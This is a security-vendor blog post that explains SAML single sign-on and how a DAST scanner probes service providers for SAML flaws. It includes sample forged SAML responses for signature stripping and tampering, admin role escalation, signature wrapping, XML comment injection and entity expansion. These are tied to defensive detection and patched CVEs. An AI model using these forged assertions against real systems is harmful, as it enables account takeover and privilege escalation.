Pull to refresh

DASTing SAML: Breaking Trust, One Assertion at a Time

Level of difficultyHard
Reading time14 min
Views218

My name is Ilya and I’m a Core Developer at Bright Security. In Bright we work on a DAST (Dynamic Application Security Testing) solution that helps development teams find and fix vulnerabilities early, straight from CI/CD. My own path began in full-stack engineering, but almost a decade of shipping production code drew me ever deeper into application security. In this article I’m explaining key approaches on what SAML actually is and how we detect it in Bright using DAST.

What is SAML (Security Assertion Markup Language)?

Let’s start with the definition even though I’m quite certain you know it if you’re reading this article. SAML (Security Assertion Markup Language) is an XML-based standard for exchanging authentication and authorization data between different security domains, typically an Identity Provider (IdP) and a Service Provider (SP).

Where You'll See SAML in Action

  1. Enterprise Single Sign-On (SSO): inside companies, employees often log in once and then can access email, CRM, cloud tools, etc., without having to authenticate again. That’s SAML making life easier behind the scenes.

  2. Federated Identity: sometimes two different companies (or two different departments) agree to trust each other's users. SAML is often the protocol that makes this "you can use your ID from Company A to access Company B" setup work.

Why Developers (and Companies) Care About SAML

  1. One Login to Rule Them All: SAML centralized authentication. No more users creating 10 different passwords for 10 different services (and using "Password123" for all of them).

  2. It’s a Standard: because SAML is standardized, your app can work with any identity provider that implements SAML — Microsoft, Okta, Google Workspace, you name it.

  3. Security Boost: сredentials stay with the IdP. The service provider just gets a signed assertion saying, “Yes, this user is legit.” The SP doesn’t know any credentials.

Why SAML Refuses to Die (and Probably Won't Anytime Soon)

  1. Legacy Systems: big companies started using SAML over a decade ago. Moving away from it would mean rewriting tons of systems, testing for months, and basically begging for budget approval.

  2. Compliance Rules: for some industries, SAML-based SSO isn't just “nice to have” — it’s baked into regulations and audit checklists.

  3. Existing Trust Networks: partnerships between businesses often rely on long-standing SAML agreements. Switching protocols means legal headaches and new contracts.

In short: it’s stable, it works, and ripping it out would hurt.

Under the Hood: How SAML Actually Works

Here's a straightforward breakdown of the SAML authentication workflow:

  1. User tries to access some protected resource.

  2. Service Provider (SP) notices this unauthenticated user.

  3. SP redirects the user to the Identity Provider (IdP), asking for authentication.

  4. The user's browser gets sent over (via HTTP Redirect or POST) to the IdP.

  5. User logs in (or maybe they already have a session at the IdP).

  6. The IdP builds a SAML Assertion and signs it.

  7. The IdP sends the signed SAML Response back to the browser.

  8. The browser posts that response back to the SP.

  9. The SP validates the response and signature.

  10. The SP reads the assertion and verifies the user's identity.

  11. The SP creates a session for the user.

  12. The user is in! They get access to the resource they asked for.

! Important to remember: the SP and IdP never communicate to each other directly. It's all through the user's browser.

Breaking Down a SAML Assertion

Once the IdP authenticates a user it sends a SAML Assertion inside the SAML Response which represents an XML-document. A typical SAML Response looks like this:

  • <samlp:Response> (Root Element): metadata about the response — like who sent it, when, and where it should go.

  • <ds:Signature> (Optional at Response Level): a digital signature that proves the whole response wasn’t tampered with.

  • <Assertion> (The Important Part): here’s where the juicy details live:

    • <Issuer>: who issued the assertion (usually your IdP).

    • <ds:Signature> (Optional at Assertion Level): some IdPs sign just the assertion, others sign both the response and the assertion.

    • <Subject>: the actual user — includes a <NameID> (like an email or username).

    • <Conditions>: rules like when the assertion is valid and who can use it (audience restrictions).

    • <AuthnStatement>: proof of how the user authenticated (password, MFA, etc.).

    • <AttributeStatement>: information about the current user:  email, groups, job title, etc.

SAML misconfiguration

Even though SAML is designed to be secure, small misconfigurations can blow massive holes in your app’s defenses. Here’s the common ways you can exploit Broken SAML. Different kinds of misconfiguration can be the first sign that this implementation is vulnerable.

Missing Message Signature

What it is

The SAML Response is completely missing its XML signature.

Why it’s dangerous

If an SP only checks that the assertion is signed (but not the entire SAML response) or fails to check signatures at all, an attacker can tamper with the SAML response or inject malicious content.

Impact

The SP might trust an unsigned or altered response, enabling unauthorized access or session hijacking.

Detection mechanism

Simply try to remove the response signature and see if the SP accepts the assertion.

Missing Assertion Signature

What it is

The SAML Assertion (the part that actually asserts user identity and claims) isn’t signed, even though the outer message might be signed.

Why it’s dangerous

The heart of SAML security is the assertion. If that’s unsigned, an attacker can modify user attributes, roles, or identity claims inside the assertion.

Impact

Forged or modified user data, including identity or roles, leading to impersonation or privilege escalation.

Detection mechanism

This time try to remove the assertion signature and see if the SP accepts the assertion.

Missing Both Signatures

What it is

Neither the overall SAML response nor the assertion is signed.

Why it’s dangerous

This is the worst-case scenario for signature-based integrity. If both signatures are missing and the SP does not enforce signature validation, the entire message can be altered at will by an attacker.

Impact

Total compromise of trust — an attacker can fully forge the response, granting arbitrary permissions or user identities.

Detection mechanism

Try to remove both signatures and see if the SP accepts the assertion.

SAML vulnerabilities

Invalid Signature Handling

What it is

This technique tests whether a Service Provider (SP) correctly validates digital signatures in the SAML response. It includes three vectors:

  • Invalid Message Signature: The outer message is signed, but the signature is tampered with or replaced.

  • Invalid Assertion Signature: The assertion element is signed, but with an invalid or fake signature.

  • Invalid Both Signatures: Both the message and assertion signatures are present, but both are invalid or replaced with garbage values.

Why it’s dangerous

If the SP fails to validate the integrity and authenticity of signatures correctly—whether in the message, the assertion, or both—it may process malicious or forged content. This opens the door to impersonation, privilege escalation, or unauthorized access.

Impact

Improper signature validation can lead to:

  • Acceptance of tampered SAML messages or assertions

  • Forging of user identities or attributes

  • Bypassing authentication mechanisms

Detection mechanism

Systematically replace the message and/or assertion signatures with invalid data:

  • Modify only the message signature

  • Modify only the assertion signature

  • Modify both signatures simultaneously

If any of these variations are accepted by the SP, it's a strong indicator of broken or insufficient signature validation logic.

<samlp:Response
    ID="_someID"
    Version="2.0"
    IssueInstant="2025-03-21T12:34:56Z"
    Destination="https://serviceprovider.com/sso/consume">

    <Issuer>https://idp.example.com</Issuer>

    <ds:Signature>
        !!!Tampered XML signature replaces the original one!!!
    </ds:Signature>

    <Assertion
        ID="_assertionID"
        IssueInstant="2025-03-21T12:34:56Z"
        Version="2.0">

        <Issuer>https://idp.example.com</Issuer>

        <ds:Signature>
            !!!Tampered XML signature replaces the original one!!!
        </ds:Signature>

        <Subject>
            <NameID>john.doe@example.com</NameID>
            <SubjectConfirmation
                Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <SubjectConfirmationData
                    InResponseTo="_someID"
                    NotOnOrAfter="2025-03-21T12:39:56Z"
                    Recipient="https://serviceprovider.com/sso/consume"/>
            </SubjectConfirmation>
        </Subject>

        <Conditions
            NotBefore="2025-03-21T12:34:56Z"
            NotOnOrAfter="2025-03-21T12:39:56Z">
            <AudienceRestriction>
                <Audience>https://serviceprovider.com</Audience>
            </AudienceRestriction>
        </Conditions>

        <AttributeStatement>
            <Attribute Name="email">
                <AttributeValue>john.doe@example.com</AttributeValue>
            </Attribute>
            <Attribute Name="role">
                <AttributeValue>user</AttributeValue>
            </Attribute>
        </AttributeStatement>
    </Assertion>
</samlp:Response>

Unsigned or Partially Signed SAML

What it is

 An attacker manipulates the SAML response by removing or emptying the <Signature> element either on the entire message, the <Assertion>, or both. The result is a message with no cryptographic integrity — fully or partially unsigned.

  • Unsigned Message: the outer response carries a <Signature> tag with an empty or missing value.

  • Unsigned Assertion: only the <Assertion> section is missing a valid signature, while the message may still appear signed.

  • Unsigned Both: neither the message nor the assertion is signed — the entire structure is left unsigned.

Why it’s dangerous

Some Service Providers (SPs) only check for the presence of a signature tag rather than verifying its validity or scope. If signature enforcement is misconfigured, attackers can inject or modify assertions, impersonate users, or escalate privileges without detection.

Impact

From unauthorized access (e.g., logging in as another user) to full account takeover — depending on how lenient the SP's validation is.

Detection mechanism

Test with:

  • An empty <ds:SignatureValue> inside the Response <Signature>.

  • An empty <ds:SignatureValue> inside on the Assertion <Signature>.

  • Both <ds:SignatureValue> are empty.

If any of these are accepted, the SP is vulnerable.

<samlp:Response
    ID="_someID"
    Version="2.0"
    IssueInstant="2025-03-21T12:34:56Z"
    Destination="https://serviceprovider.com/sso/consume">

    <Issuer>https://idp.example.com</Issuer>

    <ds:Signature>
        <ds:SignedInfo>...</ds:SignedInfo>
        <ds:SignatureValue></ds:SignatureValue> <!-- empty -->
    </ds:Signature>

    <Assertion
        ID="_assertionID"
        IssueInstant="2025-03-21T12:34:56Z"
        Version="2.0">

        <Issuer>https://idp.example.com</Issuer>

        <ds:Signature>
            <ds:SignedInfo>...</ds:SignedInfo>
            <ds:SignatureValue></ds:SignatureValue> <!-- empty -->
        </ds:Signature>

        <Subject>
            <NameID>john.doe@example.com</NameID>
            <SubjectConfirmation
                Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <SubjectConfirmationData
                    InResponseTo="_someID"
                    NotOnOrAfter="2025-03-21T12:39:56Z"
                    Recipient="https://serviceprovider.com/sso/consume"/>
            </SubjectConfirmation>
        </Subject>

        <Conditions
            NotBefore="2025-03-21T12:34:56Z"
            NotOnOrAfter="2025-03-21T12:39:56Z">
            <AudienceRestriction>
                <Audience>https://serviceprovider.com</Audience>
            </AudienceRestriction>
        </Conditions>

        <AttributeStatement>
            <Attribute Name="email">
                <AttributeValue>john.doe@example.com</AttributeValue>
            </Attribute>
            <Attribute Name="role">
                <AttributeValue>user</AttributeValue>
            </Attribute>
        </AttributeStatement>
    </Assertion>
</samlp:Response>

Privilege Escalation

What it is

The attacker modifies user roles or privileges inside the SAML assertion. For example, changing role="user" to role="admin".

Why it’s dangerous

If the signature or claims aren’t strictly validated, or if the SP only checks partial fields, the attacker can escalate from basic user to superuser or admin.

Impact

Full administrative access, unauthorized data access, or total system compromise if the SP honors the forged roles.

Detection mechanism

If you do a black-box pentesting, try to change the  role attribute to a different value: admin, administrator, moderator, etc. But if you know what roles exist in the app you can intentionally target them.

<samlp:Response
    ID="_someID"
    Version="2.0"
    IssueInstant="2025-03-21T12:34:56Z"
    Destination="https://serviceprovider.com/sso/consume">

    <Issuer>https://idp.example.com</Issuer>

    <ds:Signature>
        <!-- XML Signature data signing the Response -->
    </ds:Signature>

    <Assertion
        ID="_assertionID"
        IssueInstant="2025-03-21T12:34:56Z"
        Version="2.0">

        <Issuer>https://idp.example.com</Issuer>

        <ds:Signature>
            <!-- XML Signature data signing the Assertion -->
        </ds:Signature>

        <Subject>
            <NameID>john.doe@example.com</NameID>
            <SubjectConfirmation
                Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <SubjectConfirmationData
                    InResponseTo="_someID"
                    NotOnOrAfter="2025-03-21T12:39:56Z"
                    Recipient="https://serviceprovider.com/sso/consume"/>
            </SubjectConfirmation>
        </Subject>

        <Conditions
            NotBefore="2025-03-21T12:34:56Z"
            NotOnOrAfter="2025-03-21T12:39:56Z">
            <AudienceRestriction>
                <Audience>https://serviceprovider.com</Audience>
            </AudienceRestriction>
        </Conditions>

        <AttributeStatement>
            <Attribute Name="email">
                <AttributeValue>john.doe@example.com</AttributeValue>
            </Attribute>
            <Attribute Name="role">
                <AttributeValue>admin</AttributeValue> <!-- Replaced the role user → admin -->
            </Attribute>
        </AttributeStatement>
    </Assertion>
</samlp:Response>

XML Signature Wrapping Attacks

What it is

The attacker injects an unsigned, malicious <Assertion> or <Response> element into a SAML message before the legitimate, signed one. The Service Provider (SP) validates the signature on the legitimate part — but incorrectly processes attributes or authentication data from the attacker-controlled element.

Why it’s dangerous

If the SP doesn’t strictly validate the XML structure or enforce that the signed element is the one actually used, it may trust and act on malicious data. This opens the door to unauthorized access, privilege escalation, or impersonation.

Impact

Admin access, identity spoofing, or arbitrary claims injection — even though the attacker does not control the signed content. A full compromise is possible if the SP uses attributes from the forged assertion.

Detection mechanism

Inject an additional <Assertion> or <Response> before the valid signed one. Modify key attributes in the malicious assertion (e.g., set Role=admin or Email=admin@example.com). If the SP logs you in as another user or with elevated privileges, it is vulnerable.

<!-- Variant 1: two separate SAML responses, malicious one comes first -->

<Response ID="_evilresp">           <!-- Unsigned, malicious response first -->
  <Assertion ID="_evilassertion">
    <AttributeStatement>
      <Attribute Name="Role">admin</Attribute>
    </AttributeStatement>
  </Assertion>
</Response>

<Response ID="_goodresponse">       <!-- Legitimate, signed response second -->
  <Assertion ID="_goodassertion">
    <Signature>...valid signature...</Signature>
    <AttributeStatement>
      <Attribute Name="Role">user</Attribute>
    </AttributeStatement>
  </Assertion>
</Response>


<!-- Variant 2: one SAML Response containing two Assertions,
                the forged one is placed before the legitimate signed one -->

<samlp:Response ...>

  <!-- Forged Assertion placed first -->
  <saml:Assertion ID="_forged-assertion">
    <Subject>admin@example.com</Subject>
  </saml:Assertion>
  <!-- Legitimate Assertion with valid signature -->
  <saml:Assertion ID="_legitimate-assertion">
    <ds:Signature>LAS</ds:Signature>
    <Subject>user@example.com</Subject>
  </saml:Assertion>
</samlp:Response>

XML Comment Handling

What it is

An attacker who already has authenticated access to the SSO system can impersonate another user by injecting an XML comment (<!-- -->) into the username (e.g., <NameID>) field of a SAML assertion. For example:

<NameID>admin<!--ignore-->@example.com</NameID>

Some SAML libraries incorrectly parse or reconstruct this field, leading to identity confusion.

Why it’s dangerous

If the Service Provider (SP) does not correctly canonicalize and validate the value, it may resolve admin<!--ignore-->@example.com as admin@example.com and grant access to another user's account — without needing their credentials. This makes impersonation trivial for an already logged-in attacker.

Impact

Account takeover of any user the attacker targets — including administrators — simply by manipulating the <NameID> or other identifier fields with comment injection.

Detection mechanism

During testing, modify the SAML assertion to include an XML comment in the username or identifier fields. For example, split the value like john<!--test-->@example.com. If the SP authenticates the attacker as john@example.com, it's vulnerable.

Known vulnerable libraries/products (patched)

  • OneLogin python-saml – CVE-2017-11427

  • OneLogin ruby-saml – CVE-2017-11428

  • Clever saml2-js – CVE-2017-11429

  • OmniAuth-SAML – CVE-2017-11430

  • Shibboleth – CVE-2018-0489

  • Duo Network Gateway – CVE-2018-7340

<samlp:Response
    ID="_someID"
    Version="2.0"
    IssueInstant="2025-03-21T12:34:56Z"
    Destination="https://serviceprovider.com/sso/consume">

    <Issuer>https://idp.example.com</Issuer>

    <ds:Signature>
        <!-- XML Signature data signing the Response -->
    </ds:Signature>

    <Assertion
        ID="_assertionID"
        IssueInstant="2025-03-21T12:34:56Z"
        Version="2.0">

        <Issuer>https://idp.example.com</Issuer>

        <ds:Signature>
            <!-- XML Signature data signing the Assertion -->
        </ds:Signature>

        <Subject>
            <NameID>john.doe@example.com</NameID>
            <SubjectConfirmation
                Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <SubjectConfirmationData
                    InResponseTo="_someID"
                    NotOnOrAfter="2025-03-21T12:39:56Z"
                    Recipient="https://serviceprovider.com/sso/consume"/>
            </SubjectConfirmation>
        </Subject>

        <Conditions
            NotBefore="2025-03-21T12:34:56Z"
            NotOnOrAfter="2025-03-21T12:39:56Z">
            <AudienceRestriction>
                <Audience>https://serviceprovider.com</Audience>
            </AudienceRestriction>
        </Conditions>

        <AttributeStatement>
            <Attribute Name="email">
                <AttributeValue>
                    john.doe@example.com<!--XMLCOMMENT-->..evil.com
                </AttributeValue>
            </Attribute>
            <Attribute Name="role">
                <AttributeValue>user</AttributeValue>
            </Attribute>
        </AttributeStatement>
    </Assertion>
</samlp:Response>

XXE (XML External Entity) in Broken SAML

What it is

Some XML parsers support external entity declarations, which act like macros or shortcuts in the document. For example:

<!ENTITY s "s">
<!ENTITY f1 "f1">

When a SAML Response includes values like &s;&f1;taff1, the parser expands them into staff1 after signature verification. This leads to a mismatch between what was signed by the Identity Provider (IdP) and what the Service Provider (SP) actually processes.

Why it’s dangerous

  •  Signature Bypass: The IdP signs one version of the XML, but entity expansion causes the SP to validate a structurally different document, allowing subtle data tampering while the signature still appears valid.

  • Attribute Forgery: Attackers can inject or alter sensitive fields such as uid, email, or role using crafted entities — bypassing normal integrity checks.

  • Full XXE Exploitation: If the SP’s XML parser allows external entity resolution, this can escalate into a classic XXE attack — enabling attackers to read server files (e.g., /etc/passwd) or perform SSRF.

Impact

  • Unauthorized access or privilege escalation by tampering with signed data.

  • Potential server-side data leakage or internal network access if XXE is triggered.

Detection mechanism

Craft a SAML response where attribute values use custom entities (e.g., &uid1;). If the SP resolves these post-signature and grants access based on the expanded value, it’s vulnerable. Also test for classic XXE payloads to detect file read or SSRF behavior.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Response [
  <!ENTITY s  "s">
  <!ENTITY f1 "f1">
]>
<saml2p:Response
    xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
    Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
    ID="_04cfe67e596b7449d05755049ba9ec28"
    InResponseTo="_dbb85ce7ff81905a3a7b448afb3a4b"
    IssueInstant="2017-12-08T15:15:56.062Z"
    Version="2.0">

    [...]

    <saml2:Attribute FriendlyName="uid"
                     Name="urn:oid:0.9.2342.19200300.100.1.1"
                     NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
        <saml2:AttributeValue>
            &s;taf&f1;
        </saml2:AttributeValue>
    </saml2:Attribute>

    [...]
</saml2p:Response>

Securing SAML: Don't Trust, Verify

SAML is battle-tested, widely adopted, and deeply embedded in enterprise environments — and that's exactly why it's such a high-value target. When properly configured, SAML provides a secure and efficient way to manage identity across systems. But the moment signature enforcement, entity resolution, or assertion validation is even slightly misconfigured, attackers can turn that same convenience into a foothold for privilege escalation, impersonation, and full account takeovers.

What makes Broken SAML particularly dangerous is how invisible these issues can be in production. The application appears to work. Users authenticate. Sessions are created. But under the hood, trust boundaries may already be breached. Many of the vulnerabilities discussed — such as unsigned assertions, signature wrapping, or XML entity misuse — don’t crash your app or throw errors. They silently let attackers through the door.

This is where Dynamic Application Security Testing (DAST) becomes essential. DAST doesn’t just lint your SAML configs or scan your source code — it behaves like an attacker. It manipulates live SAML flows, injects malformed assertions, and tests your app's real-world reaction. When applied correctly, it can reveal misconfigurations that static tools or manual reviews often miss.

At Bright Security, we believe modern DAST should go beyond scanning pages and input fields. It should understand protocols like SAML, test for these high-impact edge cases, and provide actionable insights to developers — before attackers get the chance.

Bottom line:
If your app supports SAML, make signature validation strict, enforce proper structure, and never assume a signature means security. Test it. Validate it. Break it — before someone else does. 

Thanks for sticking with me through this deep dive — I appreciate you taking the time to explore these often-overlooked corners of SAML security.

If you have questions, spot something interesting in your own app, or just want to share feedback, feel free to reach out to me:

LinkedIn: https://www.linkedin.com/in/ilya-olchikov/

Telegram: @ScriptedEcho

Tags:
Hubs:
+2
Comments1

Articles